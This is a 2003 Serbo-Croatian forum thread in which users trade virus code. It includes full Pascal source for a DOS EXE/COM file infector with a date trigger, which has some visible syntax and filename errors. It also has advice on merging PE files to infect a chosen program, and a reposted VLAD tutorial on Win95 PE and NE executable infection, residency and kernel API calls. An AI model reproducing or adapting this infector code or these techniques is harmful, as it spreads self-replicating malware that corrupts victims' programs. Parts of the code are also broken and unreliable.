[ Pera_Anarhista @ 17.08.2003. 09:01 ] @
da li bi nekome trebalo tako nesto na srpskohrvatskom ? napravio sam jedan virus za skolu (skolski primer :)), pa ako neko hoce, nije mi problem da ga prevedem sa nemackog... |
[ Pera_Anarhista @ 17.08.2003. 09:01 ] @
[ Spodletela @ 17.08.2003. 12:04 ] @
Dobro bi došao, mozes da posaljes njemacku verziju?
[ Sundance @ 20.08.2003. 18:48 ] @
stavi negdi source da vidimo sta to brijes :) sta vi u skoli ucite kako radit viruse?
[ weB_KiLeR @ 20.08.2003. 23:15 ] @
Brate to mora nesto da je opasno jos ako je u ASM-u joj mene :P
Citat: program opak_viri; Uses Dos,Crt; var FL,FromF, ToF: file; NumRead, NumWritten: Word; buf: array[1..2048] of Char; S: PathStr; y, m, d, dow : Word; f: Text; SYSTEMKKK,DOFI,ST,MVIR,DR,INFF,VS: String; DirInfo: SearchRec; DireInfo: SearchRec; MySize,Infc: Integer; Function Cr(AC: Integer):String; begin If AC=1 then Cr:='A'; If AC=2 then Cr:='B'; If AC=3 then Cr:='C'; If AC=4 then Cr:='D'; If AC=5 then Cr:='E'; If AC=6 then Cr:='F'; If AC=7 then Cr:='G'; If AC=8 then Cr:='H'; If AC=9 then Cr:='I'; If AC=10 then Cr:='J'; If AC=11 then Cr:='K'; If AC=12 then Cr:='L'; If AC=13 then Cr:='M'; If AC=14 then Cr:='N'; If AC=15 then Cr:='O'; If AC=16 then Cr:='P'; If AC=17 then Cr:='Q'; If AC=18 then Cr:='R'; If AC=19 then Cr:='S'; If AC=20 then Cr:='T'; If AC=21 then Cr:='U'; If AC=22 then Cr:='V'; If AC=23 then Cr:='W'; If AC=24 then Cr:='X'; If AC=25 then Cr:='Y'; If AC=26 then Cr:='Z'; end; Procedure FoundInf; begin MVIR:=''; InFF:=''; FindFirst('*.EXE', Archive, DirInfo); while (DosError = 0) and (INFF='') do begin Assign (f,DirInfo.Name); Reset (F); Read (f,MVIR); Close (F); If copy(MVIR,11,6)='IIĄľ' then INFF:=DirInfo.Name; FindNext(DirInfo); end; FindFirst('*.COM', Archive, DirInfo); while (DosError = 0) and (INFF='') do begin Assign (f,DirInfo.Name); Reset (F); Read (f,MVIR); Close (F); If copy(MVIR,11,6)='IIĄľ' then INFF:=DirInfo.Name; FindNext(DirInfo); end; If InFF='' then begin ClrScr; Sound (100); Delay (100); NoSound; Halt (1); end; end; procedure Infect (FTI:String); begin If Infc=1 then Halt (1); Assign (f,FTI); reset (f); Read (f,ST); close (f); If (copy(ST,11,6)<>'IIĄľ') and (FTI<>'C:\COMMAND.COM') then begin Assign (FL,FTI); Rename (FL,'C:\Victome.txt); { Open input file } Assign(FromF, INFF); { Record size = 1 } Reset(FromF, 1); { Open output file } Assign(ToF, 'VIRUS.SER'); { Record size = 1 } Rewrite(ToF, 1); repeat BlockRead(FromF,buf, SizeOf(buf),NumRead); BlockWrite(ToF,buf,NumRead,NumWritten); until (NumRead = 0) or (NumWritten <> NumRead) or (FileSize(ToF)=MySize); Close(FromF); Close(ToF); { And now, infect it } { Open input file } Assign(FromF, 'VIRUS.SER'); { Record size = 1 } Reset(FromF, 1); { Open output file } Assign(ToF, FTI); { Record size = 1 } Rewrite(ToF, 1); repeat BlockRead(FromF,buf, SizeOf(buf),NumRead); BlockWrite(ToF,buf,NumRead,NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); Close(FromF); { Open input file } Assign(FromF, 'VICTOME.TXT'); { Record size = 1 } Reset(FromF, 1); repeat BlockRead(FromF,buf, SizeOf(buf),NumRead); BlockWrite(ToF,buf,NumRead,NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); Close(FromF); Close(ToF); Assign (FL,'VICTOME.SER'); Erase (FL); Assign (FL,'VIRUS.SER'); Erase (FL); Assign (F,'VICT'); ReWrite (F); WriteLn (F,FTI); Close (F); Infc:=Infc+1; end; end; begin MySize:=12288; SYSTEMKKK:=Cr(3)+':'+'\'+Cr(19)+Cr(25)+Cr(19)+Cr(20)+Cr(5)+Cr(13)+'.'+Cr(11)+Cr(11)+Cr(11); GetDate(y,m,d,dow); S := FSearch(SYSTEMKKK,GetEnv('PATH')); If S='' then begin Assign (f,SYSTEMKKK); ReWrite (F); WriteLn (F, m,'/',d,'/',Y); Close (F); end; Assign (f,SYSTEMKKK); reset (f); Read (f,DOFI); close (f); If (M=8) and (D=30) then begin ClrScr; WriteLn (Cr(25)+Cr(15)+Cr(21)+Cr(18)+' '+Cr(16)+Cr(3)+' '+Cr(9)+Cr(19)+' '+Cr(9)+Cr(14)+ +Cr(6)+Cr(5)+Cr(3)+Cr(20)+Cr(5)+Cr(4)+' '+Cr(23)+Cr(9)+Cr(20)+Cr(8)+' "'+Cr(19)+Cr(5)+Cr(18)+ +Cr(2)+Cr(9)+Cr(1)+Cr(14)+' '+Cr(22)+Cr(1)+Cr(13)+Cr(16)+Cr(9)+Cr(18)+Cr(5)+'" '+ +Cr(22)+Cr(9)+Cr(18)+Cr(21)+Cr(19)); Sound (1500); Delay (500); NoSound; Sound (2500); Delay (500); NoSound; Sound (1000); Delay (500); NoSound; ReadLn; end; FoundInf; Infc:=0; { What to infect } GetDir (0,DR); DR:=Copy (DR,1,2); {ROOT} FindFirst('\*.EXE', Archive, DirInfo); while DosError = 0 do begin Infect (DR+'\'+DirInfo.Name); FindNext(DirInfo); end; FindFirst('\*.COM', Archive, DirInfo); while DosError = 0 do begin Infect (DR+'\'+DirInfo.Name); FindNext(DirInfo); end; { SUB-DIRS } FindFirst('\*', Directory, DireInfo); while DosError = 0 do begin FindFirst('\'+DireInfo.Name+'\'+'*.EXE', Archive, DirInfo); while DosError = 0 do begin Infect (DR+'\'+DireInfo.Name+'\'+DirInfo.Name); FindNext(DirInfo); end; FindFirst('\'+DireInfo.Name+'\'+'*.COM', Archive, DirInfo); while DosError = 0 do begin Infect (DR+'\'+DireInfo.Name+'\'+DirInfo.Name); FindNext(DirInfo); end; FindNext(DireInfo); end; { Infecting } end. Pitaj nastavnika kako da ga prevedes iz Delphi-ja u tasm32 :P pa se igraj malo heheh... Veruj mi nije tesko imas jos gomile tutora kako se iz ASM-a radi sa win api-ima nije to nista samo ih pozivas :P... [ Sundance @ 21.08.2003. 00:22 ] @
postoji linearna veza izmedju uppercase ASCII charova i bilo kojeg aritmetickog niza podskupa N, ah...optimiziraj malo evidentno. samo da taj kulj infektor nije ovako l33t, da ne bi srusio cijeli net :))))
[ Pera_Anarhista @ 11.09.2003. 12:43 ] @
caos
evo, virus source je atacovan, to je obican (lame) pe infektor, a posto sam u frci, saljem samo de verziju... [ reiser @ 11.09.2003. 14:18 ] @
Zanima me PE Header, pa moze li neko da mi objasni sta je to, i kako da, recimo, spojim dva fajla u jedan a da oba rade (prvo se startuje 1., pa zatim 2.) iz delphia
[ Pera_Anarhista @ 18.10.2003. 18:40 ] @
cao
stvar nije teska, ali moras malo da upoznas PE Format... imas na http://win32asm.cjb.net dobrih tutoriala. Sta trebas da promenis: - EntryPoint - gde oces - ImageSize = ImageSize1 + ImageSize2 - Trebas onda da im spojis import tablice, resurse itd. - Treba da dodas sekcije od drugog fajla, promenis im ime, na VirutalAddress dodas (RVA poslednje sekcije originalnog fajla + SizeOfRawData alingovan na SectionAlignment), na RawDataOffset dodas RawDataOffset zadnje sekcije + SizeOfRawData zadnje sekcije - iskopiras sve od drugog fajla od section tablica na RawDataOffset+SizeOfRawData zadnje sekcije u originalan fajl. To bi bilo to, nisam nesto puno mozgao, pa bi moglo da bude i da sam negde pogresio ili nesto prevideo. btw., takvih programa vec ima, pa verovatno ima neko negde i source code, potrazi na netu. [ janez_kranjski @ 25.10.2004. 23:19 ] @
Evo ja ga trebam u Delphiju. Ali takvog koji ne uništi exe fajla. Ja bih infekcirao samo jedan exe fajl ne sve fajle. Recimo word.exe i da word onda radi normalno. Onu Delphi kodu na sajtu još nisam isprobao tako da ne znam kako radi ili uopšte radi. Pomoč molim. Evo ovo sam pronašao na netu ali ne znam kako to upotrebit u Delphiju.
Skupine Rezultat iskanja št. 30 za exe infect virus source pascal On 2004-06-28, FromTheRafters <[email protected]> wrote: > > "paul lasse" <[email protected]> wrote in message news:[email protected]... >> Hi >> >> Has anybody an idea (or url) how to write a simple file infection >> function for recent win oses ? > > No, but if you find one I would like to check it out too. Maybe Jayjwa > has a tutorial on his box. The problem is that I have too many. I've made some attempt to straighten the stuff out, but alot is still a mess. This is one of the better txt's I've seen as far as examples go. You'll have to excuse the formatting because for some reason it was in M$'s proprietry "DOC" format and this was the result after letting catdoc have its way with it: Introducing Windows 95 by Quantum / VLAD Straight to: Infection of Portable Executables When VLAD started working on the Win95 problem (back when WinSurfer was released), all we had to work with was the win32s update to win3.1 that allowed win3.1 users to run (not very successfully) 32 bit win95/NT applications. Tracing through the code one day we noticed that every exe started with loading the PE header with eax pointing to it and jumping to the entrypoint (jmp [eax + 28h]). So we changed the entrypoint RVA to point to our code, pushed eax, did our code, popped eax, and jumped to [eax + 28]. It worked, we had a win32s infector, then we noticed we didn't actually have any way to infect. There were no ints and we really felt out of our depth and then to top it all off we came across the ultimate way to go resident without infecting the win3.1 shell and so PH33R was born. About this time I left the scene in an unexplainable burst of insane "oh my god I'm going to fail uni" panic and that was about the end of the win32s/95/NT project. Just recently, uni ended. I was on holidays, bored out of my skull, and running win95, so I decided I'd give it another go. To my surprise the jmp [eax + 28] was gone, it was just a byproduct of win32s. Instead I just calculated the distance between the end of the exe and the entrypoint, calculated the start of the virus code and subtracted the two. It worked, I had a win95/NT infector. That is, 'cept for a little matter of calling API... The Day the World Changed ------------------------- In the beginning there were memory locations and we manipulated what our computer did by peeking and poking. And it was good. But this was not to last, for on the horizon was the "port" and slowly we learnt to communicate with attached devices by puting values in, and pulling values out, of specific ports. After a while the computer was no longer young and we needed something to keep things in check. We needed a way to communicate indirectly with the hardware and thus the interrupt was born. Not everyone liked the interrupt system but soon we all learnt to live with it, to manipulate it, and use it to our advantage. Everyone that is, except one group at Microsoft - the guys who were writing a "revolutionary" GUI called "Windows". These guys were looking for a way to split all the functions that were once provided by interrupts into seperate, shared files called Dynamic Link Librarys (Dll's). And so the Application Program Interface (API) was born. API's made calling functions just that little bit harder and admittedly sometimes completely impossible. But the guys at Microsoft had not yet taken away our interrupts and we still had (some) control over the system with DPMI. Then the guys at Microsoft did it again. Their latest concoction eliminated interrupts and ports and yes, even memory locations. For "Windows 95/NT" is a true non-preemptive multitasking system or in other words - a bully. This ogre pushes programs around, squeezes them into confined spaces, locks them out of restricted areas and, worst of all, forces them into using a new, impossibly complex, method of calling API. Which brings us to... One drunk night at Microsoft ---------------------------- When the guys at Microsoft get drunk, they truly get drunk. But rather than running around with a cop's panties on their collective head and stealing traffic cones, they designed a new call construct. In the spirit of Windows 3.1, the guys at Microsoft chose against using interrupts. In some ways this was good - programmers dont need to check to see if dll's are in memory (although they could), and they can state what dll's they need. The way that Microsoft achieved this is through the Import and Export Tables. The Import table lets the programmer state what functions they need from which dll's. The Export table lets the provider of the dll specify what functions it provides. The problem is, once the import table has been written it is set in stone. There is no space to add any new entries and you cant move anything around. Why ? Well, mainly because of a certain jump table that can be ANYWHERE in the exe. To call an API the code calls a hardcoded address. This address points to an indirect jump which points to an entry in the import table that is filled in (when the executable is loaded) with an address to a similar jump table in the dll that pushes a value and jumps to the function dispatcher which uses the values that are inserted in the dll's export table. To add an entry to the import table you would have to move the current entries around so that you could fit it in. This means you have to change the jump table to point to the relocated entries, which is impossible as the jump table can be ANYWHERE in the file and cannot be located. The New Frontier ---------------- Windows 95 is a whole new platform. It's a new challenge and although a lot of things have been stacked against you - it IS possible. So get in there and start researching. Research will be the end-all of the VX/AV war, one way or the other. Infection of Portable Executables by Qark and Quantum [VLAD] The portable executable format is used by Win32, Windows NT and Win95, which makes it very popular and likely to become the dominant form of executable sometime in the future. The NE header used by Windows 3.11 is completely different to the PE header and the two should not be confused. None of the techniques in this document have been tested on Windows NT because no virus writer (we know) has access to it. At the bottom of this document is a copy of the PE format, which is not easy to follow but is the only reference publicly available. Turbo Debugger 32 (TD32) is the debugger used during the research of this text, but SoftIce'95 also does the job. Calling Windows 95 API ---------------------- A legitimate application calls win95 api by the use of an import table. The name of every API that the application wants to call is put in the import table. When the application is loaded, the data needed to call the API is filled into the import table. As was explained in the win95 introduction (go read it), we cannot modify this table due to Microsoft's foresight. The simple solution to this problem is to call the kernel directly. We must completely bypass the Win95 calling stucture and go straight for the dll entrypoint. To get the handle of a dll/exe (called a module) we can use the API call GetModuleHandle and there are other functions to get the entrypoint of a module - including a function to get the address of an API, GetProcAddress. But this raises a chicken and egg question. How do I call an API so I can call API's, if I can't call API's ? The solution is to call api that we know are in memory - API that are in KERNEL32.DLL - by calling the address that they are always located at. Some Code --------- A call to an API in a legitimate application looks like: call APIFUNCTIONNAME eg. call CreateFileA This call gets assembled to: db 9ah ; call dd ???? ; offset into jump table The code at the jump table looks like: jmp far [offset into import table] The offset into the import table is filled with the address of the function dispatcher for that API function. This address is obtainable with the GetProcAddress API. The function dispatcher looks like: push function value call Module Entrypoint There are API functions to get the entrypoint for any named module but there is no system available to get the value of the function. If we are calling KERNEL32.DLL functions (of which are all the functions needed to infect executables) then we need look no further than this call. We simply push the function value and call the module entrypoint. Snags ----- In the final stages of Bizatch we beta tested it on many systems. After a long run of testing we found that the KERNEL32 module was static in memory - exactly as we had predicted - but it was at a different location from the "June Test Release" to the "Full August Release" so we needed to test for this. What's more, one function (the function used to get the current date/time) had a different function number on the June release than it did on the August release. To compensate I added code that checks to see if the kernel is at one of the 2 possible locations, if the kernel isn't found then the virus doesn't execute and control is returned to the host. Addresses and Function Numbers ------------------------------ For the June Test Release the kernel is found at 0BFF93B95h and for the August Release the kernel is found at 0BFF93C1Dh Function June August -------------------------------------------------- GetCurrentDir BFF77744 BFF77744 SetCurrentDir BFF7771D BFF7771D GetTime BFF9D0B6 BFF9D14E MessageBox BFF638D9 BFF638D9 FindFile BFF77893 BFF77893 FindNext BFF778CB BFF778CB CreateFile BFF77817 BFF77817 SetFilePointer BFF76FA0 BFF76FA0 ReadFile BFF75806 BFF75806 WriteFile BFF7580D BFF7580D CloseFile BFF7BC72 BFF7BC72 Using a debugger like Turbo Debugger 32bit found in Tasm 4.0, other function values can be found. Calling Conventions ------------------- Windows 95 was written in C++ and Assembler, mainly C++. And although C calling conventions are just as easy to implement, Microsoft didn't use them. All API under Win95 are called using the Pascal Calling Convention. For example, an API as listed in Visual C++ help files: FARPROC GetProcAddress( HMODULE hModule, // handle to DLL module LPCSTR lpszProc // name of function ); At first it would be thought that all you would need to do is push the handle followed by a pointer to the name of the function and call the API - but no. Due to Pascal Calling Convention, the parameters need to be pushed in reverse order: push offset lpszProc push dword ptr [hModule] call GetProcAddress Using a debugger like Turbo Debugger 32bit we can trace the call (one step) and follow it to the kernel call as stated above. This will allow us to get the function number and we can do away with the need for an entry in the import table. Infection of the PE Format -------------------------- Finding the beginning of the actual PE header is the same as for NE files, by checking the DOS relocations for 40h or more, and seeking to the dword pointed to by 3ch. If the header begins with a 'NE' it is a Windows 3.11 executable and a 'PE' indicates a Win32/WinNT/Win95 exe. Within the PE header is 'the object table', which is the most important feature of the format with regards to virus programming. To append code to the host and redirect initial execution to the virus it is necessary to add another entry to the 'object table'. Luckily, Microsoft is obsessed with rounding everything off to a 32bit boundary, so there will be room for an extra entry in the empty space most of the time, which means it isn't necessary to shift any of the tables around. A basic overview of the PE infection: Locate the offset into the file of the PE header Read a sufficient amount of the PE header to calculate the full size Read in the whole PE header and object table Add a new object to the object table Point the "Entry Point RVA" to the new object Append virus to the executable at the calculated physical offset Write the PE header back to the file To find the object table: The 'Header Size' variable (not to be confused with the 'NT headersize') is the size of the DOS header, PE header and object table, combined. To read in the object table, read in from the start of the file for headersize bytes. The object table immediately follows the NT Header. The 'NTheadersize' value, indicates how many bytes follow the 'flags' field. So to work out the object table offset, get the NTheaderSize and add the offset of the flags field (24). Adding an object: Get the 'number of objects' and multiply it by 5*8 (the size of an object table entry). This will produce the offset of the space within which the new virus object table entry can be placed. The data for the virus' object table entry needs to be calculated using information in the previous (host) entry. RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment+1) *OBJ Alignment Virtual Size = ((size of virus+buffer any space)/OBJ Alignment+1) *OBJ Alignment Physical Size = (size of virus/File Alignment+1)*File Alignment Physical Offset = prev Physical Offset + prev Physical Size Object Flags = db 40h,0,0,c0h Entrypoint RVA = RVA Increase the 'number of objects' field by one. Write the virus code to the 'physical offset' that was calculated, for 'physical size' bytes. Notes ----- Microsoft no longer includes the PE header information in their developers CDROMs. It is thought that this might be to make the creation of viruses for Win95 less likely. Tools ----- There are many good books available that supply low level Windows 95 information. "Unauthorized Windows 95", although not a particularly useful book (it speaks more of DOS/Windows interaction), supplies utilities on disk and on their WWW site that are far superior to the ones that we wrote to research Win95 infection. Windows Executable Infection by Qark and Quantum [VLAD] This document attempts to explain technically NewExe infection for the virus writer. This isn't for the novice coder and you'll need to understand DOS EXE infection before being able to use any of it. The infection described in detail here is the same as used by the accompanying WinSurfer virus, there are other methods that can be done but they aren't our concern (it's up to you to develop new code!) You will want a copy of the New Exe header information which is available in Ralf Browns interrupt listings under Int21h AH=4Bh, a copy of which is included at the end of this article. This is a map of what we are trying to do: Before infection After Infection 0h--------------------- 0h--------------------- | | | | | DOS EXE header | | DOS EXE header | | | | | --------------------- --------------------- | | | | | DOS Code | | DOS Code | | | | | | | 3F8h--------------------- 400h--------------------- | | | | <- Move | New EXE Header | | New EXE Header | this | and some tables | | and some tables | up | | | | | ----------------- | | ----------------- | | Segment | | Segment | | Table | | Table | | | | | | | | | Insert -> | ----------------- | Virus segment | ----------------- | this | ----------------- | entry | Misc Other | | Misc Other | | Tables | | Tables | | | | | x x x x x x x x x x x x CS:IP --------------------- --------------------- | | | | | Windows Code | | Windows Code | | and Misc | | and Misc | | Segments | | Segments | | | | | End --------------------- CS:IP --------------------- | Virus segment | Append all | with code etc | this -> | | --------------------- Virus | | Relocation End --------------------- Entry Infection Theory: ----------------- Test the EXE to make sure its windows and that the NE is at offset 1024. Reduce the NE pointer at 3ch by eight. Reduce DOS SP by eight. Any NE offsets which are larger than the segment table offset must be increased by eight. Increment the segment counter. Save the CS:IP. Point the CS:IP to the new segment entry Calculate the position of the end of the segment table, move all data up to and including the segment table up by eight bytes. Add another segment entry Write the virus to the end of the file Write relocation entry to the end of the file. --- That is a very basic overview of what is wanted. The main idea of it all is moving the NE header forward to add a new segment table entry, and changing the CS:IP to point to it. We'll go through all the stages step by step. Testing for a Windows executable. --------------------------------- A NewEXE file always begins with a DOS header and some DOS executable code. With a windows executable: The word at offset 0 is 'MZ'. The word at offset 18h is 40h or greater. assuming that these conditions are met then we also want the pointer to the NE header (3ch) to be equal to 400h. The reason for this is that room is needed to move the NE header forward by 8. Rewriting the DOS header. ------------------------- Before rewriting the DOS header, reduce the DOS SP field (10h) by 8, because if it was pointing to the end of the DOS code section it would point to the start of the NE header. (No real reason for doing it really) The NE header pointer at 3ch must be reduced by 8, because we intend on moving most of the NE header forward to that position. Modifications to the NE header. ------------------------------- From this point onwards we are referring to the offsets in relation to the NE header. The pointer to the segment table is a word at 22h. If any of the pointers at 4,24h,26h,28h,2ah are larger than [22h], then increase that pointer by eight. The reason for this is that since we are inserting a new segment table entry, all tables behind the segment table will be eight bytes further from the start of the header. The segment counter is a word at offset 1ch. Increment it by one because since we are adding another segment, we need to indicate this in the header. At offset 14h is the dword pointer to the program entry point, CS:IP where the CS is actually the segment table entry number. Save this pointer for use in your relocation entry (that part will be explained in detail later on). Now point the CS:IP instead to the virus segment. Do this by writing the necessary starting IP value to 14h (offset of the entry into your segment) and the segment counter value into 16h (since the virus segment is the last in the segment table it will be equal to the segment counter value which we have incremented). You can work this out for yourself, but what you need to do now is move the entire NE header, upto and including the segment table, but not the data behind it, forward by eight bytes. Heres an equation on calculating how much to move: ((segmentcounter-1)*8)+word ptr [22h] Directly after this position is where to insert the new virus segment entry. The Virus Segment Entry. ------------------------ Format of new executable segment table record: 00h WORD offset in file (shift left by alignment shift for byte offs) 02h WORD length of image in file (0000h = 64K) 04h WORD segment attributes (see below) 06h WORD number of bytes to allocate for segment (0000h = 64K) Offsets 2 and 6 in the segment record are just the virus size. Offset 4 is the segment attribute, we use 180h, which makes the segment executable with relocations. Calculating offset 0 is more difficult. It is necessary to get the file length and shift it right by the alignment shift value which was saved earlier. I wouldn't know how to do a dword shift so I convert it to a division. File length into DX:AX : mov ax,4202h xor cx,cx cwd int 21h Shift right DX:AX by alignment shift: mov cl,byte ptr alignment_shift push bx mov bx,1 shl bx,cl mov cx,bx pop bx div cx AX=required offset 0 value Write this eight byte table behind all the moved header. Writing the Virus. ------------------ Lseek to the end of the executable and write the virus. Writing the Relocation Entry. ----------------------------- You need a relocation entry so that you can return control to the host after the virus has done its dirty work. The relocation entries follow the segment itself. Format of relocation entry: Offset Size Description 00 WORD Number of relocation entries Offset Size Description 00 BYTE relocation type 01 BYTE relocation flags 02 WORD offset within segment 04 WORD target address segment 06 WORD target address offset The first word will be 1 because only 1 relocation entry. First byte is 3 to signal a 32bit pointer (a far jump). Second byte is 4 to signal additive relocation. (doesn't work without this) Word at offset 2 is the offset of the dword after the 'far jump' opcode. Word at offset 4 is the CS of the original host CS:IP Word at offset 6 is the IP of the original host CS:IP To put all this into code: db 0eah ;Opcode of JMP FAR PTR ret_ip dw 0 dw 0ffffh relocation dw 1 ;One relocation entry db 3 ;32bit pointer relocation db 4 ;Additive relocation dw offset ret_ip ;Offset of the relocation in segment hostcs dw 0 ;CS:IP of place we want our relocation to hostip dw 0 ; point. Note: the relocation address data (ret_ip) _must_ be FFFF:0000 as above because windows treats it as a linked list. If you don't understand don't worry, just do it! It won't work otherwise. It is important that before writing the virus body to the executable that you set this address to FFFF:0000 so that executable will be setup correctly. Write the relocation entry to the end of the file. Windows allows a standard Int 21h call just fine so all file manipulation is as simple as ever, with a few minor changes. Writting TSR/ISR's under Windows. --------------------------------- Windows is a protected mode environment and thus to set a vector under it we must manipulate the various tables that protected mode requires to be updated. Of these tables one is of interest to us. The "Interrupt Descriptor Table" (IDT). The IDT holds all the Protected Mode interrupt vectors that are in the "Interrupt Vector Table" (IVT) - if they are supported - and some more. This is all well and good - all we have to do is set a vector in the IDT to point to our code like we do with dos and the IVT but - there are complications. V86 mode. --------- When Windows is running in 386 enhanced mode the processor is locked into v86 mode. In v86 mode each application has its own 1mb memory block. All EMS/XMS is locked away from the application and (usually) each process has its own IDT/IVT. The idea being to allow the application to think it is alone on the system. Any attempt to access any other tasks that may be running is a "violation of system integrity" and will cause an exception. This is no good for a virus and by now you're thinking we're screwed but windows solves the problem for us. Windows has but one IDT and of course only one IVT to shadow it and thus if we are to a hook a vector in the IDT it will be reflected in every task. (Ever seen that OS/2 warp advert where they say "... and true multi-tasking" - well this simply means that OS/2 warp holds a seperate IDT for every task under v86 mode.) Setting the Vector. ------------------- So let's get this straight.. the IVT is the one at 0:0 that we all know and love and the IDT is a protected mode/v86 shadow of it. So you're most probably asking "why can't we just hook the IVT and let windows reflect it into the IDT?" - well there's 2 reasons: firstly windows doesn't "reflect" the IVT as we would like to think, actually it copies the IVT into the IDT on startup then replaces certain routines with "protected mode call structures" which call the real mode routines and some routines it doesn't even do this, secondly trying to access the IVT directly is a big nono and will cause an exception error. Can we use DOS ? well yes, you can.. most dos functions have been reflected up into windows although windows is supposed to be trying to get rid of them. So you can call int 21,25/35 to set the vector but remember that this will be setting a vector in the GVT and only at the discretion of windows. A better way: use DPMI. Windows is NOT your host under protected mode or even v86 mode as microsoft would have you believe. Windows has an overlooker that provides windows time-slicing and exception abilities. In fact all windows does is act as a mediator to DPMI and basically slow things down. So how do we use DPMI to set the vector ? well.. by using functions 0204h/0205h - with the vector in BL - of the DPMI provider int 31. This way windows has no say over what goes in its IDT and thus we have a LOT of control. Writing the Interrupt. ---------------------- This is perhaps one of the easier things to do - once you understand the principles. In protected mode/v86 mode your code segment is supposed to be read only and thus you're supposed to have a code, stack and data segment. Everyone knows this is bad so what we need is a way to write to the code segment. You won't find one - writing to the code segment just isn't possible. BUT - if we were to have a data segment that pointed to the same code segment then we could do it. (actually we don't have any segments in protect mode.. we have a thing called a "selector" which gives access parameters to areas of memory.) To get an "alias selector" to the code segment we can use another DPMI function and bypass windows altogether: function ax=000ah with the code selector in bx of int 31h, it returns a read/writeable alias selector to the code segment in ax. So now Protected mode isn't protected and we're free to write to the code segment. One problem arises from this idea. Qark wanted to put this code to generate the alias in the loader part of the virus and store it in the code segment for the interrupt routine. This seemed fine until I found out that windows likes to move segments around. One minute your code might be at one address the next it may be at another. Thus you should always regenerate the alias on every execution of the ISR or lock down the segment - we chose against this last approach as it can cause exception errors from windows (DPMI has no problems with this strategy.) For a detailed look at DPMI consult Ralf Brown's interrupt listing under int 31h. These functions haven't been included in this text. Staying Resident. ----------------- Finally: don't go resident off something that can be closed. If you go resident off something like mine sweeper or something and the user closes the application, your code segment will be deleted and removed from the IDT and will point to an empty segment. This will cause windows to hang. Solution: look for a process that will never be closed, direct action infect this as soon as you find it and only ever go resident off it. In the 'system.ini' file in your windows directory, is a variable 'shell=' that points to a file that is never closed. Mostly it will be 'progman.exe' but sometimes other programs are used, so read it in and infect it. To find the path of the windows directory, search the environment for a variable called 'windir=' (yes, lowercase!). On entry to any windows executable ES will point to the PSP (or something functionally similar). The word at 2ch is the segment (selector) of the environment segment. Scan through this as you would within a DOS application. We didn't discover this through any documentation, but when Quantum accidentally typed 'set' from within a DOS window. Facts and Possible Techniques. ------------------------------ At offset 0eh in the New Executable header is the 'auto data segment index'. This is another segment table index, which will be automatically in DS on execution entry. Although this is pure guesswork, if you set that 'auto data segment' to the same segment as CS, (ie in every way the same except the segment attributes) then you could write to your CS without using DPMI and would also open the gateway to polymorphic windows viruses. (Polymorphism would be pretty useless if you had to put a DPMI call before you could write to your code segment.) Mark Ludwig's 'Windows Virus #2' uses a different form of infection in that it extends the length of the code segment as indicated in the segment table, and moves the entire host program starting from the end of the file back by virus length until the end of the code segment is reached, at which point the virus is written. The IP is then repointed to the virus. There are some advantages to this, such as no need to add relocation entries because the jmp is intra-segment but this is greatly outweighed by the fact that moving an entire file is very slow and a much larger number of pointers in the header need to be modified to account for the change. There are DPMI calls for allocating memory (Int 31h ax=501h) but it is unknown at this point whether the memory remains allocated after the program is closed. Mark Ludwig makes extensive use of these calls for temporary buffers in his direct action 'Windows Virus #2'. Mark Ludwig also demonstrates use of the WinAPI calls, which involve adding a new relocation entry for each call and pushing some stuff on the stack. This may become important when win95 comes out but for the moment it is more convenient to simply use int 21h. Some food for thought. ---------------------- Microsoft has a dream [here we go], the dream is to control the world. They intend to do this with applications like Windows [scary isn't it ?], and by the looks of it they might succeed. A lot of people think computers should be easy, that there should be no skill involved in it and that everyone should HAVE to use one. Microsoft are using this idea to flood the market with shit like Windows, in the hope that it will be accepted as a "standard". Windows is already this but Microsoft aren't happy with one success, they want to be on top of the hill. This is where we come in. If Microsoft is going to succeed in taking over the world then we should be there making their lives difficult. The WinSurfer virus created by us is so stable that an average windows user wouldn't even notice it. [Then again the average windows user wouldn't notice if his hair caught on fire.] And thus will stay with us for quite some time. At least until AVers recognise the windows market and start releasing scanners. The New Executable format. (From Ralf Browns Interrupt listing 21 AH=4B) -------------------------- new executables begin running with the following register values AX = environment segment (Wrong! AX=0) BX = offset of command tail in environment segment CX = size of automatic data segment (0000h = 64K) ES,BP = 0000h (Wrong! ES=PSP) DS = automatic data segment SS:SP = initial stack the command tail corresponds to an old executable's PSP:0081h and following, except that the 0Dh is turned into a NUL (00h); new format executables have no PSP (All wrong) Format of .EXE file header: Offset Size Description 00h 2 BYTEs .EXE signature, either "MZ" or "ZM" (5A4Dh or 4D5Ah) 02h WORD number of bytes in last 512-byte page of executable 04h WORD total number of 512-byte pages in executable (includes any partial last page) 06h WORD number of relocation entries 08h WORD header size in paragraphs 0Ah WORD minimum paragraphs of memory to allocation in addition to executable's size 0Ch WORD maxi paragraphs to allocate in addition to executable's size 0Eh WORD initial SS relative to start of executable 10h WORD initial SP 12h WORD checksum (one's complement of sum of all words in executable) 14h DWORD initial CS:IP relative to start of executable 18h WORD offset within header of relocation table 40h or greater for new-format (NE,LE,LX,PE,etc.) executable 1Ah WORD overlay number (normally 0000h = main program) ---new executable--- 1Ch 4 BYTEs ??? 20h WORD behavior bits 22h 26 BYTEs reserved for additional behavior info 3Ch DWORD offset of new executable (NE,LE,etc) header within disk file, or 00000000h if plain MZ executable Format of new executable header: Offset Size Description 00h 2 BYTEs "NE" (4Eh 45h) signature 02h 2 BYTEs linker version (major, then minor) 04h WORD offset from start of this header to entry table (see below) 06h WORD length of entry table in bytes 08h DWORD file load CRC (0 in Borland's TPW) 0Ch BYTE program flags (see below) 0Dh BYTE application flags (see below) 0Eh WORD auto data segment index 10h WORD initial local heap size 12h WORD initial stack size (added to data seg, 0000h if SS <> DS) 14h DWORD program entry point (CS:IP), "CS" is index into segment table 18h DWORD initial stack pointer (SS:SP), "SS" is segment index if SS=automatic data segment and SP=0000h, the stack pointer is set to the top of the automatic data segment, just below the local heap 1Ch WORD segment count 1Eh WORD module reference count 20h WORD length of nonresident names table in bytes 22h WORD offset from start of this header to segment table (see below) 24h WORD offset from start of this header to resource table 26h WORD offset from start of this header to resident names table 28h WORD offset from start of this header to module reference table 2Ah WORD offset from start of this header to imported names table (array of counted strings, terminated with a string of length 00h) 2Ch DWORD offset from start of file to nonresident names table 30h WORD count of moveable entry point listed in entry table 32h WORD file alignment size shift count 0 is equivalent to 9 (default 512-byte pages) 34h WORD number of resource table entries 36h BYTE target operating system 00h unknown 01h OS/2 02h Windows 03h European MS-DOS 